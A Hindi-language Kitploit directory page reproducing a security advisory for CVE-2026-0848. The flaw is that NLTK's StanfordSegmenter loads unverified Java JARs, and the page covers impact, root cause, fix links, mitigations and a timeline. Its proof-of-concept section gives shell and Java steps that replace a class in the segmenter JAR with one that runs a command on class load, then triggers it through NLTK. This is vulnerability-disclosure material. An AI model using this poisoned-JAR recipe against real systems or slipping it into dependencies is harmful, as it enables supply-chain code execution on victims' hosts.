Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files without verification or sandboxing. If an attacker can supply or replace the JAR (e.g., a poisoned model download, MITM package swap, or dependency poisoning), arbitrary Java bytecode executes at import time. | Kitploit
उपकरण/GitHubGitHub/hyperps/cve-2026-0848
Vulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityPapers & ResearchLearning & Education
GitHubhyperps/cve-2026-0848

CVE-2026-0848

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files without verification or sandboxing. If an attacker can supply or replace the JAR (e.g., a poisoned model download, MITM package swap, or dependency poisoning), arbitrary Java bytecode executes at import time.

साझा करें

CVE-2026-0848 — NLTK StanfordSegmenter: अविश्वसनीय JAR लोडिंग के माध्यम से मनमाना कोड निष्पादन


अवलोकन

क्षेत्रविवरण
CVE IDCVE-2026-0848
पैकेजnltk (प्राकृतिक भाषा टूलकिट)
रजिस्ट्रीPyPI
प्रभावित संस्करण<= 3.9.2
भेद्यता प्रकारCWE-20: अनुचित इनपुट सत्यापन
CVSS स्कोर10.0 (गंभीर)
हमला वेक्टरनेटवर्क
हमला जटिलतानिम्न
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता इंटरैक्शनकोई नहीं
दायरापरिवर्तित
गोपनीयता प्रभावउच्च
अखंडता प्रभावउच्च
उपलब्धता प्रभावउच्च
रिपोर्ट किया गया6 दिसंबर 2025
CVE प्रकाशितमार्च 2026
समर्थित द्वाराPalo Alto Networks / Prisma AIRS

विवरण

nltk.tokenize.StanfordSegmenter subprocess के माध्यम से बाहरी Java .jar फ़ाइलों को गतिशील रूप से लोड करता है, बिना किसी अखंडता सत्यापन, हस्ताक्षर जांच, या सैंडबॉक्सिंग के। यह वर्ग पूरी तरह से हमलावर-नियंत्रित पैरामीटर जैसे path_to_jar, path_to_model, path_to_dict, और java_class स्वीकार करता है, और उन्हें सीधे java -cp आह्वान में पास करता है।

यदि कोई हमलावर JAR फ़ाइल की आपूर्ति या प्रतिस्थापन कर सकता है — जहरीले मॉडल डाउनलोड, मैन-इन-द-मिडिल पैकेज स्वैप, निर्भरता विषाक्तता, या दूषित रिलीज़ मिरर के माध्यम से — तो JVM के स्थैतिक आरंभकर्ता तंत्र के माध्यम से क्लास-लोड समय पर मनमाना Java बाइटकोड निष्पादित होता है। यह एक आपूर्ति श्रृंखला रिमोट कोड निष्पादन भेद्यता का गठन करता है और Python रनटाइम से पूरी तरह बच निकलता है।


प्रभावित घटक


CVSS वेक्टर

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

प्रभाव

सफल शोषण हमलावर को NLTK विभाजन प्रक्रिया चलाने वाले सिस्टम पर पूर्ण नियंत्रण प्रदान करता है:

  • मनमाना Java कोड निष्पादन — दुर्भावनापूर्ण JAR में एम्बेडेड कोई भी बाइटकोड Python/Java प्रक्रिया के विशेषाधिकारों के साथ चलता है
  • Python रनटाइम से बच निकलना — निष्पादन JVM में चला जाता है, Python-स्तरीय सैंडबॉक्सिंग को पूरी तरह से दरकिनार करता है
  • OS-स्तरीय कमांड निष्पादन — हमलावर मनमाना शेल कमांड चलाने के लिए Runtime.getRuntime().exec() या ProcessBuilder को आमंत्रित कर सकते हैं
  • डेटा चोरी और संशोधन — प्रक्रिया द्वारा पढ़े जा सकने वाले सभी फ़ाइलों, पर्यावरण चर, API कुंजियों और रहस्यों तक पहुंच
  • पूर्ण पर्यावरण समझौता — CI/CD, उत्पादन NLP पाइपलाइनों, या सर्वर वातावरण में, एक एकल दुर्भावनापूर्ण JAR पूर्ण होस्ट अधिग्रहण की ओर ले जाता है

उच्च-जोखिम तैनाती परिदृश्य

परिदृश्यप्रभाव

यह भेद्यता StanfordSegmenter का उपयोग करने वाले किसी भी NLP वर्कफ़्लो को प्रभावित करती है, जिसमें चैटबॉट, LLM प्रीप्रोसेसिंग पाइपलाइन, डेटासेट विभाजन, दस्तावेज़ वर्गीकरण और उत्पादन अनुमान सेवाएं शामिल हैं।


प्रूफ ऑफ कॉन्सेप्ट

यह जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। उन प्रणालियों के विरुद्ध परीक्षण न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

चरण 1 — कोर क्लासिफायर को दुर्भावनापूर्ण Java क्लास से बदलें

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

चरण 2 — दुर्भावनापूर्ण JAR बनाएं

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

चरण 3 — NLTK के माध्यम से ट्रिगर करें

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

आउटपुट:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE की पुष्टि करें:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

मूल कारण

भेद्यता दो फ़ाइलों में मौजूद है:

stanford_segmenter.py — StanfordSegmenter क्लास कंस्ट्रक्टर path_to_jar, path_to_model, path_to_dict और java_class को सादे स्ट्रिंग तर्कों के रूप में स्वीकार करता है और उन्हें निम्नलिखित में से कोई भी कार्य किए बिना सीधे Java निष्पादन स्तर पर अग्रेषित करता है:

  • पथ अनुमति सूची या विश्वसनीय-निर्देशिका प्रवर्तन
  • JAR का SHA-256 या क्रिप्टोग्राफिक हस्ताक्षर सत्यापन
  • java_class पैरामीटर का ज्ञात-सुरक्षित क्लास नामों के सेट के विरुद्ध सत्यापन

internals.py — java() सहायक उपयोगकर्ता-आपूर्ति क्लासपाथ के साथ subprocess.Popen() कॉल बनाता और लॉन्च करता है। JVM प्रदान किए गए JAR में सभी क्लासेज़ को तुरंत लोड करता है, एप्लिकेशन तर्क चलने से पहले किसी भी स्थैतिक आरंभकर्ता ब्लॉक को निष्पादित करता है। कोई सैंडबॉक्स, कोई अखंडता द्वार, और इंजेक्ट किए गए बाइटकोड के निष्पादन को रोकने का कोई तंत्र नहीं है।


समाधान

भेद्यता को अपस्ट्रीम NLTK रिपॉजिटरी में पूरी तरह से हल कर दिया गया है।

संसाधनलिंक
केंद्रीय सुरक्षा सुधार (सभी CVE)https://github.com/nltk/nltk/pull/3522
शोधकर्ता का प्रारंभिक सुधार PRhttps://github.com/nltk/nltk/pull/3477 (मर्ज किया गया)

जैसे ही PyPI पर पैच किया गया संस्करण उपलब्ध हो, NLTK के पैच किए गए संस्करण में अपग्रेड करें।


उपचार

pip के माध्यम से अपग्रेड करें:

root@kitploit:~
pip install --upgrade nltk

स्थापित संस्करण सत्यापित करें:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

समयरेखा


संदर्भ


अस्वीकरण

यह रिपॉजिटरी CVE-2026-0848 को पूरी तरह से शैक्षिक, अनुसंधान और रक्षात्मक सुरक्षा उद्देश्यों के लिए दस्तावेज़ित करता है। प्रूफ-ऑफ-कॉन्सेप्ट कोड और तकनीकी विवरण डेवलपर्स, सुरक्षा इंजीनियरों और सिस्टम प्रशासकों को इस भेद्यता को समझने, मूल्यांकन करने और ठीक करने में सहायता करने के लिए प्रदान किए गए हैं।

इस जानकारी का उपयोग स्पष्ट प्राधिकरण के बिना सिस्टम तक पहुँचने या समझौता करने के लिए करना अवैध और अनैतिक है। लेखक यहाँ निहित जानकारी के दुरुपयोग के लिए कोई देयता नहीं लेता है।

योगदानकर्ता: ketanHub

टूल डाउनलोड करें
फ़ाइलपंक्तियाँविवरण
nltk/tokenize/stanford_segmenter.pyL53–L118बिना किसी सत्यापन के हमलावर-नियंत्रित path_to_jar, path_to_model, path_to_dict और java_class स्वीकार करता है
nltk/internals.pyL220–L300उपयोगकर्ता-नियंत्रित JAR पथ और क्लासपाथ के साथ सीधे Java निष्पादन शुरू करता है, कोई सैंडबॉक्सिंग या चेकसम सत्यापन नहीं
nltk/internals.pyL109–L152subprocess.Popen() बिना सत्यापित क्लासपाथ इनपुट के Java निष्पादित करता है, जिससे JVM मनमाना बाइटकोड लोड कर सकता है और स्थैतिक आरंभकर्ता चला सकता है
मीट्रिकमान
हमला वेक्टरनेटवर्क
हमला जटिलतानिम्न
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता इंटरैक्शनकोई नहीं
दायरापरिवर्तित
गोपनीयताउच्च
अखंडताउच्च
उपलब्धताउच्च
ML शोधकर्ता इंटरनेट से एक पूर्व-प्रशिक्षित विभाजक लोड करता हैरिमोट हमलावर को कोड निष्पादन प्राप्त होता है
संगठन दूषित चीनी विभाजन मॉडल ZIP डाउनलोड करता हैउत्पादन NLP पाइपलाइन में मैलवेयर निष्पादित होता है
CI/CD सर्वर गैर-HTTPS मिरर से wget/unzip के माध्यम से मॉडल स्थापित करता हैपूर्ण पर्यावरण समझौता
निर्भरता अधिग्रहण या जहरीला रिलीज़ मिररपूर्ण आपूर्ति श्रृंखला RCE
कार्रवाईविवरण
NLTK अपग्रेड करेंPR #3522 से सुधार वाले 3.9.2 से बड़े संस्करण में अपडेट करें
उपयोगकर्ता-नियंत्रित JAR पथ का उपयोग न करेंकभी भी उपयोगकर्ता इनपुट को path_to_jar, path_to_model, या java_class तर्कों को प्रभावित करने की अनुमति न दें
JAR अखंडता सत्यापित करेंउपयोग से पहले डाउनलोड की गई JAR फ़ाइलों के SHA-256 चेकसम को हमेशा आधिकारिक प्रकाशित हैश के विरुद्ध सत्यापित करें
केवल HTTPS स्रोतों का उपयोग करेंमॉडल फ़ाइलें और JAR केवल आधिकारिक HTTPS स्रोतों से डाउनलोड करें; किसी भी HTTP या असत्यापित मिरर को अस्वीकार करें
न्यूनतम विशेषाधिकारNLTK-आधारित सेवाओं को न्यूनतम फ़ाइल सिस्टम और नेटवर्क अनुमतियों वाले प्रतिबंधित OS उपयोगकर्ता के तहत चलाएं
कंटेनरीकरणJAR-आधारित शोषणों के विस्फोट दायरे को सीमित करने के लिए NLP सेवाओं को Docker कंटेनरों या समान सैंडबॉक्स में अलग करें
निर्भरता निगरानीCI/CD पाइपलाइनों में छेड़छाड़ या प्रतिस्थापित JAR निर्भरताओं का पता लगाने के लिए सॉफ़्टवेयर संरचना विश्लेषण उपकरण का उपयोग करें
तिथिघटना
6 दिसंबर 2025शोधकर्ता hyperps1 (Sarvesh Patil) द्वारा huntr.dev को भेद्यता की रिपोर्ट
दिसंबर 2025huntr.dev के माध्यम से NLTK मेंटेनर टीम को सूचित किया गया
जनवरी 2026NLTK मेंटेनर ने भेद्यता को मान्य किया; प्रकटीकरण पुरस्कार प्रदान किया गया
जनवरी 2026CVE-2026-0848 आवंटित किया गया
जनवरी 2026शोधकर्ता का सुधार PR #3477 प्रस्तुत और मर्ज किया गया
फरवरी 2026NLTK मेंटेनरों को 48-घंटे का प्रकाशन-पूर्व चेतावनी भेजी गई
मार्च 2026CVE NVD और huntr.dev पर प्रकाशित हुआ
मार्च 2026PR #3522 के माध्यम से सभी CVE के लिए केंद्रीय सुरक्षा सुधार मर्ज किया गया
संसाधनलिंक
NVD प्रविष्टिhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
आधिकारिक CVE रिकॉर्डhttps://cve.org/CVERecord?id=CVE-2026-0848
huntr.dev रिपोर्टhttps://huntr.dev
केंद्रीय सुधार PRhttps://github.com/nltk/nltk/pull/3522
शोधकर्ता सुधार PRhttps://github.com/nltk/nltk/pull/3477
PyPI पर NLTKhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — मनमाना कोड निष्पादनhttps://owasp.org/www-community/attacks/Code_Injection
OWASP — अविश्वसनीय खोज पथhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: अनुचित इनपुट सत्यापनhttps://cwe.mitre.org/data/definitions/20.html
CWE-502: अविश्वसनीय डेटा का डीसेरियलाइज़ेशनhttps://cwe.mitre.org/data/definitions/502.html